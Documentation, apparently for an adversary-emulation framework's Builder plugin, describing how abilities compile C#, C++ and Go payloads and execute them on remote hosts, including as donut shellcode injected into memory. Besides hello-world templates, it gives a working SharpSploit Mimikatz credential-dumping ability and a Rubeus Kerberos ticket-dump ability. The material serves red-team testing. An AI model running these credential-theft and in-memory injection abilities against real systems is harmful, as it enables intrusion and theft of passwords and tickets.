Dynamically-Compiled Payloads
The Builder plugin can be used to create dynamically-compiled payloads. Currently, the plugin supports C#, C, C++, and Golang.
Code is compiled in a Docker container. The resulting executable, along with any additional references, will be copied to the remote machine and executed.
Details for the available languages are below:
csharp: Compile C# executable using Monocpp_windows_x64: Compile 64-bit Windows C++ executable using MXE/MinGW-w64cpp_windows_x86: Compile 64-bit Windows C++ executable using MXE/MinGW-w64c_windows_x64: Compile 64-bit Windows C executable using MXE/MinGW-w64c_windows_x86: Compile 64-bit Windows C executable using MXE/MinGW-w64go_windows: Build Golang executable for Windows
Basic Example
The following “Hello World” ability can be used as a template for C# ability development:
---
- id: 096a4e60-e761-4c16-891a-3dc4eff02e74
name: Test C# Hello World
description: Dynamically compile HelloWorld.exe
tactic: execution
technique:
attack_id: T1059
name: Command-Line Interface
platforms:
windows:
psh,cmd:
build_target: HelloWorld.exe
language: csharp
code: |
using System;
namespace HelloWorld
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello World!");
}
}
}
It is possible to reference a source code file as well. The source code file should be in the plugin’s payloads/ directory. This is shown in the example below:
---
- id: 096a4e60-e761-4c16-891a-3dc4eff02e74
name: Test C# Hello World
description: Dynamically compile HelloWorld.exe
tactic: execution
technique:
attack_id: T1059
name: Command-Line Interface
platforms:
windows:
psh,cmd:
build_target: HelloWorld.exe
language: csharp
code: HelloWorld.cs
Advanced Examples
Arguments
It is possible to call dynamically-compiled executables with command line arguments by setting the ability command value. This allows for the passing of facts into the ability. The following example demonstrates this:
---
- id: ac6106b3-4a45-4b5f-bebf-0bef13ba7c81
name: Test C# Code with Arguments
description: Hello Name
tactic: execution
technique:
attack_id: T1059
name: Command-Line Interface
platforms:
windows:
psh,cmd:
build_target: HelloName.exe
command: .\HelloName.exe "#{paw}"
language: csharp
code: |
using System;
namespace HelloWorld
{
class Program
{
static void Main(string[] args)
{
if (args.Length == 0) {
Console.WriteLine("No name provided");
}
else {
Console.WriteLine("Hello " + Convert.ToString(args[0]));
}
}
}
}
DLL Dependencies
DLL dependencies can be added, at both compilation and execution times, using the ability payload field. The referenced library should be in a plugin’s payloads folder, the same as any other payload.
The following ability references SharpSploit.dll and dumps logon passwords using Mimikatz:
---
- id: 16bc2258-3b67-46c1-afb3-5269b6171c7e
name: SharpSploit Mimikatz (DLL Dependency)
description: SharpSploit Mimikatz
tactic: credential-access
technique:
attack_id: T1003
name: Credential Dumping
privilege: Elevated
platforms:
windows:
psh,cmd:
build_target: CredDump.exe
language: csharp
code: |
using System;
using System.IO;
using SharpSploit;
namespace CredDump
{
class Program
{
static void Main(string[] args)
{
SharpSploit.Credentials.Mimikatz mimi = new SharpSploit.Credentials.Mimikatz();
string logonPasswords = SharpSploit.Credentials.Mimikatz.LogonPasswords();
Console.WriteLine(logonPasswords);
}
}
}
parsers:
plugins.stockpile.app.parsers.katz:
- source: domain.user.name
edge: has_password
target: domain.user.password
- source: domain.user.name
edge: has_hash
target: domain.user.ntlm
- source: domain.user.name
edge: has_hash
target: domain.user.sha1
payloads:
- SharpSploit.dll
Donut
The donut gocat extension is required to execute donut shellcode.
The donut_amd64 executor combined with a build_target value ending with .donut, can be used to generate shellcode using donut. Payloads will first be dynamically-compiled into .NET executables using Builder, then converted to donut shellcode by a Stockpile payload handler. The .donut file is downloaded to memory and injected into a new process by the sandcat agent.
The command field can, optionally, be used to supply command line arguments to the payload. In order for the sandcat agent to properly execute the payload, the command field must either begin with the .donut file name, or not exist.
The following example shows donut functionality using the optional command field to pass arguments:
---
- id: 7edeece0-9a0e-4fdc-a93d-86fe2ff8ad55
name: Test Donut with Arguments
description: Hello Name Donut
tactic: execution
technique:
attack_id: T1059
name: Command-Line Interface
platforms:
windows:
donut_amd64:
build_target: HelloNameDonut.donut
command: .\HelloNameDonut.donut "#{paw}" "#{server}"
language: csharp
code: |
using System;
namespace HelloNameDonut
{
class Program
{
static void Main(string[] args)
{
if (args.Length < 2) {
Console.WriteLine("No name, no server");
}
else {
Console.WriteLine("Hello " + Convert.ToString(args[0]) + " from " + Convert.ToString(args[1]));
}
}
}
}
Donut can also be used to read from pre-compiled executables. .NET Framework 4 is required. Executables will be found with either a .donut.exe or a .exe extension, and .donut.exe extensions will be prioritized. The following example will transform a payload named Rubeus.donut.exe into shellcode which will be executed in memory. Note that Rubeus.donut is specified in the payload and command:
---
- id: 043d6200-0541-41ee-bc7f-bcc6ba15facd
name: TGT Dump
description: Dump TGT tickets with Rubeus
tactic: credential-access
technique:
attack_id: T1558
name: Steal or Forge Kerberos Tickets
privilege: Elevated
platforms:
windows:
donut_amd64:
command: .\Rubeus.donut dump /nowrap
payloads:
- Rubeus.donut